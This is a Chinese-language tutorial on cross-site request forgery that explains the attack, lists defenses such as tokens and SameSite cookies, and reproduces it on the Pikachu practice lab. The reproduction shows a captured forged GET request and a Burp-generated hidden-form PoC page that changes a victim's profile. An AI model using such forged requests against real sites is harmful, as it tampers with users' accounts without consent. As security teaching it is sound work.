CSRF漏洞简介
CSRF又称跨站请求伪造,是指攻击者在用户登录的状态下(浏览器保存了用户的cookie)通过伪造恶意url诱导用户点击,借助用户的cookie网站权限(冒充用户身份来进行非法操作,对于服务器来说是合法的)达到篡改数据、购买商品等非法操作。
CSRF漏洞形成的条件
通过上面的讲解我们知道CSRF形成的必要条件是
1、用户要在登录状态(即浏览器保存了该用户的cookie)
2、用户要访问攻击者发的恶意url链接才行
常见攻击方式
1、 链接点击:攻击者通过邮件、社交媒体或其他方式发送包含恶意请求的链接,诱导用户点击。
2、隐藏表单:在恶意网站上嵌入隐藏的表单,用户在不知情的情况下触发表单提交。
3、自动提交表单:恶意网站使用JavaScript自动提交包含恶意请求的表单。
4、图像加载:在恶意网站上嵌入图像标签,图像URL指向目标网站的恶意请求。
5、跨域请求:利用XMLHttpRequest或Fetch API发送跨域请求,但这种方式在现代浏览器中通常会被同源策略和CORS限制。
防御措施
1、CSRF Token:在每个敏感操作的请求中包含唯一的、不可预测的令牌。服务器验证该令牌以确保请求来自合法用户。
2、SameSite Cookie 属性:设置 Cookie 的 SameSite 属性为 Strict 或 Lax,防止跨站请求携带 Cookie。
3、双重提交 Cookie:在请求中发送一个 CSRF Token,同时在 Cookie 中存储相同的 Token,服务器验证这两个 Token 是否一致。
4、验证 Referer 和 Origin 头:检查请求的 Referer 和 Origin 头是否来自可信任的域。
5、定期重置 Session ID:减少会话被劫持的风险,确保会话令牌的安全性。
6、用户交互确认:对敏感操作要求用户进行额外的确认,例如输入密码或验证码。
漏洞复现(pikachu)
Csrf(get请求):
攻击者发送恶意链接,点开后信息被恶意修改
利用bp抓取的数据包重发数据
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=123123&add=123123&email=123123&submit=submit HTTP/1.1
Host: pikachu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://pikachu/vul/csrf/csrfget/csrf_get_edit.php
Cookie: PHPSESSID=1403c4j739t0v88bc26m3b2d6e
Upgrade-Insecure-Requests: 1
Priority: u=0, i
信息被修改了
Csrf(post请求)
记录原始数据
Bp抓包构造恶意网页
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="hack" />
<input type="hidden" name="phonenum" value="hack" />
<input type="hidden" name="add" value="11" />
<input type="hidden" name="email" value="111" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
放在外网服务器
点击恶意连接后信息被修改了
Csrf(token)抓包发现添加了token需要知道token才可以被攻击者恶意利用